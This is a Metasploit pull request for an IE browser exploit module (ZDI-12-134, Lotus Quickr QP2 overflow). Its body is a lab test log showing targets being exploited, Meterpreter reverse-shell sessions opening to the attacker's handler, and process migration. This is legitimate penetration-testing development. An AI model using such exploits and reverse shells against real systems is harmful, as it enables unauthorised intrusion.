rapid7/metasploit-framework — pull request #1214 by jvazquez-r7 (2012-12-28 10:47:58+00:00)
Title: added module for zdi-12-134

Some testing:

msf exploit(quickr_qp2_bof) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/gfLE5g75r
[*] Local IP: http://192.168.1.128:8080/gfLE5g75r
[*] Server started.
msf exploit(quickr_qp2_bof) > [*] 192.168.1.137 quickr_qp2_bof - Requesting: /gfLE5g75r
[*] 192.168.1.137 quickr_qp2_bof - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137 quickr_qp2_bof - Using JRE ROP
[*] 192.168.1.137 quickr_qp2_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.137:49694) at 2012-12-28 11:40:36 +0100
[*] Session ID 5 (192.168.1.128:4444 -> 192.168.1.137:49694) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1584)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2392
[+] Successfully migrated to process
[*] 192.168.1.137 - Meterpreter session 5 closed. Reason: Died
[*] 192.168.1.141 quickr_qp2_bof - Requesting: /gfLE5g75r
[*] 192.168.1.141 quickr_qp2_bof - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.141 quickr_qp2_bof - Using JRE ROP
[*] 192.168.1.141 quickr_qp2_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.141
[*] Meterpreter session 6 opened (192.168.1.128:4444 -> 192.168.1.141:1172) at 2012-12-28 11:41:46 +0100
[*] Session ID 6 (192.168.1.128:4444 -> 192.168.1.141:1172) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3044)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3392
[+] Successfully migrated to process
[*] 192.168.1.141 - Meterpreter session 6 closed. Reason: Died
[*] 192.168.1.141 quickr_qp2_bof - Requesting: /gfLE5g75r
[*] 192.168.1.141 quickr_qp2_bof - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.141 quickr_qp2_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.141
[*] Meterpreter session 7 opened (192.168.1.128:4444 -> 192.168.1.141:1902) at 2012-12-28 11:43:04 +0100
[*] Session ID 7 (192.168.1.128:4444 -> 192.168.1.141:1902) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3188)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2556

msf exploit(quickr_qp2_bof) > [+] Successfully migrated to process